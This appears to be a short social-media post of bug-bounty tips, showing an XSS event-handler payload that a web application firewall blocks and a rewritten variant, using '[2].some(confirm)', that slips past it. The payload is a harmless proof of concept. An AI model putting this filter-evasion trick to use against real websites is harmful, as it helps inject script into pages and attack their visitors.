please note and share;

blocked:
onauxclick=confirm(2)

bypassed:
onauxclick=[2].some(confirm)

#XSS #WAF #WAFBypass #bugbountytips #security #infosec #hacking